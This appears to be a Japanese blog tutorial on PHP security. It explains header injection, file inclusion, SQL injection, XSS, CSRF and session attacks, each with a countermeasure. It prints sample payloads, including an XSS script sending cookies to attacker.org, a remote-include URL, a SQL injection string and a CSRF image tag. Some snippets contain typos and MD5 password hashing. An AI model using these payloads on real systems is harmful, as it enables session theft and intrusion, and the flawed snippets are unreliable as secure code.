@blog.justoneplanet.info

日々勉強

HTTPヘッダインジェクションを防ぐ

PHP5.1.2以前を使っている場合は特に気をつけねばならない。以下のようにHTTPヘッダにユーザ入力の値が入るとする。

header("Location: http://sample.org/{$input}");

■攻撃

$inputに改行が入っていた場合に成立する。

$input = '\n\n<script type="text/javascript">alert("attacked");</script>';

■対策

header("Location: http://sample.org/" . strtr($input, array("\r" => '', "\n" => '')));

但し、PHP5.1.2以降ではインジェクションに対する実装として、一度に複数のヘッダを送信することができなくなり改行コードは削除されるようになった。PHP 5.2.0では脆弱性が存在したようだ。

header("Location: http://sample.org/" . trim($input));

現代でも最低限このくらいはした方がよさそうだ。

PHP Shared Hosting

■サーバの設定

以下のような、「httpd.conf」や「httpd.include」を考えてみる。

<VIrtualHost 0.0.0.0:80>
    ServerName    sample.org
    <Directory /var/www/httpdocs>
        <IfModule mod_php5.c>
            php_admin_value open_basedir "/var/www:/tmp"
        </IfModule>
    </Directory>
</VirtualHost>

「open_basedir」ではPHPがアクセスできるサーバ上のディレクトリを指定することができる。「none」を設定すれば全てのディレクトリにアクセスできるが、セキュリティが下がるので安易にそのような設定をしてはならない。

■特定の関数を使えなくする

php.iniに以下のように記述することによって、任意の関数を使用できない状態にすることができる。

;Disable functions
disable_functions = exec,passthru,shell_exec,system

PHP File System Security(ファイルシステムのセキュリティ)

■リモートファイルインクルード

外部の任意のPHPをインクルードさせることができる。従って、サーバのルート権限を奪取することもできてしまう。

以下のコードを考える。

<?php
$file = $_GET['file'];
require_once($file);
?>

注意しなければならないのは、php.iniの「allow_url_fopen」ディレクティブが「On」になっているとき、リモートでファイルをインクルードできるということである。つまりリクエストが以下のURLのときに、脆弱性となり得る。

http://sample.org/index.php?file=http://attacker.com/

対策

<?php
$file = basename($_GET['file']);
require_once($file);
?>
各関数について
string basename(string $path[, string $suffix])
文字列としてパスを与えると、ファイル名の部分だけ返す。
string dirname(string $path)
文字列としてパスを与えると、ディレクトリの部分を返す(ルートからカレントまで)。

■ローカルファイルインクルード

上述の脆弱性があるコードを考える。

<?php
$file = $_GET['file'];
require_once($file);
?>

以下のようなリクエストがあった場合、サーバ上のWebに公開されていないファイルが丸見えになってしまう。

http://sample.org/index.php?file=/usr/passwd.txt

対策

上述のコードと全く同じようにbasename関数を使ってあげるだけで良い。

<?php
$file = basename($_GET['file']);
require_once($file);
?>

■ディレクトリトラバーサル

ディレクトリを遡ることを意味する。これもbasename関数を使った上述のコードで防ぐことができる。

■まとめ

basename関数を必ず使用してファイル名を確実に抜き出せるようにすること。また、ユーザ入力に依存した任意のファイル名をそのまま使用するのではなく、以下のように極力ホワイトリスト方式を使用する。

<?php
$file_list = array('dog.php', 'cat.php', 'coffee.php');
$file = basename($_GET['file']);
if(in_array($file, $file_list)){
    require_once($file);
}
?>

但し、上述の場合はbasename関数がなくても脆弱性にはならない。

■コマンドインジェクション

あまり知られていないかもしれないが、PHPからOSのコマンドを入力することも可能である。以下のようにバッククォートを用いても可能だ。

$current_directory = `ls`;
print($current_directory);

但し、OSのコマンドにユーザ入力に依存したコードを含めるのは非常に危険であり、アプリケーションでそのようなコードを用いないことを強くお勧めする。

PHP Session Security(セッションのセキュリティ)

■セッションフィクセーション

セッションのIDを固定化させる方法である。特定のリンクを第三者にクリックさせ任意のセッションIDを付加させる方法である。これにより、攻撃者は第三者のセッションIDを知ることができてしまう。

対策

まず、「php.ini」の「session.use_only_cookies」を「On」にする。

session.use_only_cookies = On

以下のように、session_start()の後すぐに、session_regenerate_id(true)関数を呼び出す。この関数は、Set-Cookieヘッダーを再度送信し、セッションIDを新しいものに置き換える。但し、デフォルトでは古いセッションファイルを削除しないため、そこまでのセッションデータは古いIDでも取り出すことができてしまう。PHP5.1以降では引数に「true」を設定することで、古いセッションファイルを削除することができる。

<?php
session_start();
session_regenerate_id(true);
?>

但し、一番初めのアクセスはIDを新しくする必要もないので、以下のようにする。

<?php
session_start();
if(!isset($_SESSION['init'])){
    session_regenerate_id(true);
    $_SESSION['init'] = true;
}
?>

■セッションハイジャック

対策1

以下のように、一つ前のリクエストと今回のリクエストのUSER AGENTを調べる。これは、リクエスト毎にブラウザがかわることはない、という前提を利用したチェック方法である。

<?php
if($_SERVER['HTTP_USER_AGENT'] !== $_SESSION['user_agent']){
    exit;
}
?>

重要

但し、ネットワークの盗聴などをされるとPHPでは防ぎきれないので、完全にセッションハイジャックを防ぎたい場合は、HTTPS通信にしてクッキーにセキュア属性を付加する。

PHP Database Security(データベースのセキュリティ)

すなわちSQLインジェクションのための防御策である。

■SQLインジェクションの実例

以下のログインフォームで考える。

<form method="post" action="login.php">
Name: <input type="text" name="name" />
Password: <input type="password" name="password" />
<input type="submit" />
</form>

以下のコードで存在するユーザかどうか、DBに問い合わせて検証する。

<?php
$password = md5($_POST['password']);
$sql = "SELECT * FROM `user` WHERE `name` = '{$_POST['name']}' AND `password` = '{$password}'";
?>

一見、何の問題も無いようだが、Nameに「1′ OR 1 = 1 –」とすると以下のSQL文を実行することになる。

SELECT * FROM `user` WHERE `name` = '1' OR 1 = 1 --' AND `password` = 'password_str'

「–」以降は改行コードまで全てコメントとみなされ、条件「`name` = ‘1’」は殆ど成立しないが、条件「1 = 1」が常に成立し、全てのユーザデータが返ることになる。従って、アルゴリズムにもよるが、ログインが常にできてしまう。

対策1

以下のように、プリペアドステートメントを用いる。

<?php
try {
    $dsn = 'mysql:host=localhost;dbname=db';
    $dbh = new PDO($dsn, DB_USER, DB_PASS);
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
}
catch(PDOException $e){
    //code
}
$password = md5($_POST['password']);
$sql = "SELECT * FROM `user` WHERE `name` = ? AND `password` = ?";
$stmt = $dbh->prepare($sql);
$stmt->execute(array(
    $_POST['name'],
    $pasword
));
$result = $stmt->fetchAll();
?>

対策2

以下のように、エスケープ処理を忘れずに行う。

$dbh = mysql_connect(DB_HOST, DB_USER, DB_PASS);
mysql_select_db(DB_NAME, $dbh);
$password = md5($_POST['password']);
$name = mysql_real_escape_string($_POST['name']);
$sql = "SELECT * FROM `user` WHERE `name` = '{$name}' AND `password` = '{$password}'";

但し、ログインフォームなので大概において英数字のユーザ名なのでフィルタリングすることをお勧めする。

PHP Website Security(ウェブサイトのセキュリティ)

■なりすまし

以下のようなフォームがある場合を考える。

<form method="post" action="register.php">
Name: <input type="text" name="name" maxlength="10" />
Password: <input type="password" name="password" maxlength="10" />
Gender:
<select name="gender">
<option>male</option>
<option>female</option>
</select>
<input type="submit" />
</form>

攻撃者はこのフォームを利用して攻撃するとは限らない。従って、以下のようなHTML上の制限は攻撃者に対しては何の防御策にもならない。

  • maxlengthによる文字数の制限
  • selectボックスの選択肢による制限

上述は例にすぎない。つまり攻撃者は、「任意のフォーム要素」に「任意の値」を制限無く常に送信することができる。従って、register.phpはそのような前提を踏まえてプログラミングしなければならない。攻撃用フォームは全く別のURLに設置しregister.phpにデータを送信するだけで作れてしまうのだ。

対策

  • サーバ側でフィルタリングを徹底的に行う

リファラーをチェックしたり、ワンタイムトークンを使ったりすれば攻撃の敷居はわずかに高くなるが、決定的な対策とはいえない。

■クロスサイトスクリプティング

もっとも有名な攻撃手法の一つでありXSSと略して呼ばれる。以下のようなフォームの場合を考える。

<form method="post" action="register.php">
Name: <input type="text" name="name" />
<input type="submit" />
</form>

上述のデータを以下のプログラムで受け取る。

<p>入力したお名前はコチラです。</p>
<?php
print($_POST['name']);
?>

一見すると、ユーザの入力を表示しているだけに思えるが、「名前」に以下の文字列が入力された場合に脆弱性が露呈する。

<script type="text/javascript">
document.location = 'http://attacker.org/exploit.php?data=' + document.cookie;
</script>

上述のコードを入力されると、結果的にクッキーを攻撃者のサイトに送信されてしまう。もしも、このアプリケーションが不特定多数の人に任意のユーザの入力を表示する掲示板のようなシステムの場合、全てのユーザのクッキーが攻撃者のサイトに送信される。

対策

以下のようにユーザ入力をHTML表示させる場合は、適切にサニタイジングを行う。

<p>入力したお名前はコチラです。</p>
<?php
print(htmlentities($_POST['name'], ENT_QUOTES, 'utf-8'));
?>

但し、htmtentities関数の第二引数はデフォルトでENT_COMPATになっており、シングルクォートがエスケイプされないので、ENT_QUOTESと必ず記述する。(属性値への挿入に耐性をもたせる)

■クロスサイトリクエストフォージェリーズ

簡単に説明すると以下のような脆弱性である。

  1. Aさんがショッピングサイトにログインし買い物をする
  2. Aさんがログアウトせずに、そのままネットサーフィンをする
  3. Aさんが攻撃者の仕掛けたリンクを偶然クリックする(もしくはimageタグのsrc属性などで強制的にリクエストさせられる)

以下のように、リンクにはショッピングサイトの(5000万円の)家の支払い画面のURLが記述されている

<img src="http://amazon.com/goods.php?goods=house&price=50000000&order=ok" />
  1. Aさんの意志に関係なく、5000万円の支払い契約が成立する
  2. Aさんは破産する

一意のURLに紐付けられているアプリケーション側の処理が利用者の意図していない場面で行われてしまうということになる。

対策

<?php
session_start();
session_regenerate_id(true);
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>
<form method="post" action="register.php">
<input type="hidden" name="token" value="<?php print($token); ?>">
</form>
各関数について
bool session_start(void)

セッションをスタートする。セッションを用いる場合は全ての出力より前にコールする必要がある。

bool session_regenerate_id([bool $delete_old_session=false])

現在のセッションIDを新しいものに置き換える。セッションIDの固定化を防ぐ目的がある。PHP5.1.0以降では、引数にtrueを設定すると古いセッションファイルを削除する。

string md5(string $str[, bool $raw_out_put=false])

与えられた文字列を元に、md5ハッシュ値を返す。

string uniqid([string $prefix=”[, bool $more_entropy=false])

一意なIDを取得する。第二引数にtrueを設定することにより、より均一になる。

int rand(void)

乱数を生成する。この場合は不要だが、最小値と最大値を決めたい場合は、第一引数と第二引数に記述する。

PHP Security Concepts and Practices(セキュリティにおける概念と実践)

■全てのユーザ入力は汚れていると思え

この位に考えてこそ、セキュアなアプリケーションが作れる。セッションを除く全てのスーパーグローバル変数はユーザ側から編集が可能であり、悪意のあるコードが挟まれる可能性がある。

■ホワイトリスト方式とブラックリスト方式

ホワイトリスト方式 ブラックリスト方式
制限
攻撃耐性

ホワイトリスト方式は、プログラマーが用意したセキュアな形式の(リストの)データがアプリケーションで使われるので、ブラックリスト方式よりも安全であるといえる。ブラックリスト方式は未知のインプット形式が攻撃に使われる可能性があるので、フィルタリングの際には注意が必要である。

■フィルタリング

以下のようなフォームを考える。

<form method="post" action="register.php">
Name: <input type="text" name="name" />
Password: <input type="password" name="password" />
Gender:
<select name="gender">
<option>male</option>
<option>female</option>
</select>
<input type="submit" />
</form>

上述の場合、ユーザ入力のフィルタリングをするには以下のようにする。

<?php
$genders = array('male', 'female');
$clean = array();
if(ctype_alpha($_POST['name'])){
    $clean['name'] = $_POST['name'];
}
if(ctype_alnum($_POST['password'])){
    $clean['password'] = $_POST['passwprd'];
}
if(in_array($_POST['gender'], $genders, true)){
    $clean['gender'] = $_POST['gender'];
}
?>

英語圏のアプリケーションの場合は上述のようなコードで構わないが、日本語の名前が入力される場合は不適当なコードとなる。また、パスワードは英数字を想定している。さらに、セレクトボックスから想定外のデータが飛んでくることも考えられるため、プログラム側で用意した配列と比較して、データの妥当性を調べる。

各メソッドについて

bool ctype_alpha(string $text)
文字列が[a-zA-Z]の文字で構成されているかどうかをbool値で返す。
bool ctype_alnum(string $text)
文字列が[a-zA-Z0-9]の文字で構成されているかどうかをbool値で返す。

■出力のエスケープ

ページ表示用変数のエスケープ

以下のように変数名にhtmlを用いてハッシュ構造とすれば、エスケープし忘れた変数を表示に使用してしまうような人為的ミスを回避できるかもしれない。

<?php
$html = array();
$html['message'] = htmlentities($_POST['message'], ENT_QUOTES/*, 'utf-8'*/);
?>

データベース用のエスケープ

以下のように、*_escape_string関数を使っても良いが全ての変数を忘れずにエスケープしなくてはならない。また、セキュリティの観点とは異なるが、データベースを変更する際にコードを書き換える手間が増える。

<?php
$dbh = mysql_connect(DB_HOST, DB_USER, DB_PASS);
mysql_select_db(DB_NAME, $dbh);
$name = mysql_real_escape_string($_POST['name']);
$age = mysql_real_escape_string($_POST['age']);
$result = mysql_query("INSERT INTO `tbl`(`name`, `age`) VALUES('$name', '$age')");
?>

但し、エスケープし忘れるリスクを減らすため、以下のようにプリペアドステートメントをできる限り使用する。プリペアドステートメントを用いれば常にエスケープされる。

<?php
try {
    $dsn = 'mysql:host=localhost;dbname=db';
    $dbh = new PDO($dsn, DB_USER, DB_PASS);
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $dbh->setAttribute(PDO::EMULATE_PREPARE, true);
}
catch(PDOException $e){
    print($e->getMessage());
}
$stmt = $dbh->prepare("INSERT INTO `tbl`(`name`, `age`) VALUES(?, ?)");
$stmt->execute(array($_POST['name'], $_POST['age']));
?>

OSコマンド用のエスケープ

escapeshellcmdなどの関数が存在するが、OSのコマンドを使うようなアプリケーションの設計を見直したほうが良いか、必ず確認すること。OSのコマンドを叩かれるのは非常に大きなリスクを伴う。

■レジスターグローバル

迷わずoffにするべきである。onでないと動かないアプリケーションは相当古いものであり、使用するべきではない可能性が非常に高い。

初期化されていない変数を使った場合に、プログラム実行時からその変数に値が格納されているという状態がアプリケーションの脆弱性になり得るために、PHP4.2.0以降デフォルトではoffにされた。PHP6ではこのディレクティブ自体が消滅する予定である。